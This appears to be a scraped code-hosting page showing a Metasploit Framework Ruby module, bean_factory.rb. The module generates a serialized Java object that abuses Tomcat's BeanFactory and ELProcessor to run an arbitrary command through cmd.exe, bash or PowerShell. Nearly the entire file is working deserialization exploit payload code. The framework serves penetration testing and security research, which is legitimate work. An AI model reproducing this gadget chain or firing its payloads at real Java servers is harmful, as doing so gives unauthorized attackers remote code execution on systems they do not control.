Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/lib/msf/util/java_deserialization/bean_factory.rb
Views: 11784
# -*- coding: binary -*-12require 'stringio'3require 'rex/java'45module Msf6module Util7class JavaDeserialization8class BeanFactory910def self.generate(cmd, shell: nil)11js_escaped = "String.fromCharCode(#{cmd.each_char.map(&:ord).map(&:to_s).join(',')})"1213# emulate the same behavior as the ysoserial-modified series,14# see: https://github.com/pimps/ysoserial-modified/blob/1bd423d30ae87074f94d6b9b687c17162f122c3d/src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java#L1115payload_string = "{\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec("16case shell17when 'cmd'18payload_string << "[\\\"cmd.exe\\\",\\\"/c\\\",#{js_escaped}]"19when 'bash'20payload_string << "[\\\"/bin/bash\\\",\\\"-c\\\",#{js_escaped}]"21when 'powershell'22payload_string << "[\\\"powershell.exe\\\",\\\"-c\\\",#{js_escaped}]"23when nil24payload_string << js_escaped25else26raise NotImplementedError, "unsupported shell: #{shell.inspect}"27end28payload_string << ")\")}"2930builder = Rex::Java::Serialization::Builder.new31stream = Rex::Java::Serialization::Model::Stream.new32stream.contents = [33builder.new_object(34name: 'org.apache.naming.ResourceRef',35serial: 1,36flags: 2,37annotations: [Rex::Java::Serialization::Model::EndBlockData.new],38super_class: builder.new_class(39name: 'org.apache.naming.AbstractRef',40serial: 1,41flags: 2,42annotations: [Rex::Java::Serialization::Model::EndBlockData.new],43super_class: builder.new_class(44name: 'javax.naming.Reference',45serial: 16773268283643759881,46flags: 2,47annotations: [Rex::Java::Serialization::Model::EndBlockData.new],48).tap { |new_class|49new_class.fields = [50new_field(name: 'addrs', field_type: 'Ljava/util/Vector;'),51new_field(name: 'classFactory', field_type: 'Ljava/lang/String;'),52new_field(name: 'classFactoryLocation', field_type: new_ref(handle: 8257540)),53new_field(name: 'className', field_type: new_ref(handle: 8257540))54]55},56),57data: [58builder.new_object(59name: 'java.util.Vector',60serial: 15679138459660562177,61flags: 3,62annotations: [Rex::Java::Serialization::Model::EndBlockData.new],63data: [64['int', 0],65['int', 5],66# stream.contents.first.class_data[0].class_data[2]67builder.new_array(68values_type: 'java.lang.Object;',69name: '[Ljava.lang.Object;',70serial: 10434374826863044972,71flags: 2,72annotations: [Rex::Java::Serialization::Model::EndBlockData.new],73# stream.contents.first.class_data[0].class_data[2].values74values: [75# stream.contents.first.class_data[0].class_data[2].values[0]76builder.new_object(77name: 'javax.naming.StringRefAddr',78serial: 9532981578571046089,79flags: 2,80annotations: [Rex::Java::Serialization::Model::EndBlockData.new],81super_class: builder.new_class(82name: 'javax.naming.RefAddr',83serial: 16978578953230397258,84flags: 2,85annotations: [Rex::Java::Serialization::Model::EndBlockData.new],86).tap { |new_class|87new_class.fields = [88new_field(name: 'addrType', field_type: new_ref(handle: 8257540))89]90},91data: [92Rex::Java::Serialization::Model::Utf.new(stream, 'scope'),93Rex::Java::Serialization::Model::Utf.new(stream)94]95).tap { |new_object|96new_object.class_desc.description.fields = [97new_field(name: 'contents', field_type: new_ref(handle: 8257540))98]99},100# stream.contents.first.class_data[0].class_data[2].values[1]101builder.new_object(102description: new_ref(handle: 8257547),103data: [104Rex::Java::Serialization::Model::Utf.new(stream, 'auth'),105new_ref(handle: 8257551)106]107),108builder.new_object(109description: new_ref(handle: 8257547),110data: [111Rex::Java::Serialization::Model::Utf.new(stream, 'singleton'),112Rex::Java::Serialization::Model::Utf.new(stream, 'true'),113]114),115# stream.contents.first.class_data[0].class_data[2].values[3]116builder.new_object(117description: new_ref(handle: 8257547),118data: [119Rex::Java::Serialization::Model::Utf.new(stream, 'forceString'),120Rex::Java::Serialization::Model::Utf.new(stream, 'x=eval'),121]122),123# stream.contents.first.class_data[0].class_data[2].values[4]124builder.new_object(125description: new_ref(handle: 8257547),126data: [127Rex::Java::Serialization::Model::Utf.new(stream, 'x'),128Rex::Java::Serialization::Model::Utf.new(stream, payload_string),129]130),131# stream.contents.first.class_data[0].class_data[2].values[5]132Rex::Java::Serialization::Model::NullReference.new,133Rex::Java::Serialization::Model::NullReference.new,134Rex::Java::Serialization::Model::NullReference.new,135Rex::Java::Serialization::Model::NullReference.new,136Rex::Java::Serialization::Model::NullReference.new,137]138)139]140).tap { |new_object|141new_object.class_desc.description.fields = [142new_field(type: 'int', name: 'capacityIncrement'),143new_field(type: 'int', name: 'elementCount'),144new_field(type: 'array', name: 'elementData', field_type: '[Ljava/lang/Object;')145]146},147Rex::Java::Serialization::Model::EndBlockData.new,148Rex::Java::Serialization::Model::Utf.new(stream, 'org.apache.naming.factory.BeanFactory'),149Rex::Java::Serialization::Model::NullReference.new150]151),152Rex::Java::Serialization::Model::Utf.new(stream, 'javax.el.ELProcessor')153]154stream.encode155end156157class << self158private159# helper methods that are not in Rex::Java::Serialization::Builder160def new_field(opts = {})161name = Rex::Java::Serialization::Model::Utf.new(opts[:stream], opts[:name])162if opts[:field_type].is_a? String163field_type = Rex::Java::Serialization::Model::Utf.new(opts[:stream], opts[:field_type])164else165field_type = opts[:field_type]166end167168field = Rex::Java::Serialization::Model::Field.new169field.type = opts[:type] || 'object'170field.name = name171field.field_type = field_type172field173end174175def new_ref(opts = {})176ref = Rex::Java::Serialization::Model::Reference.new(opts[:stream])177ref.handle = opts[:handle]178179ref180end181end182end183end184end185end186187188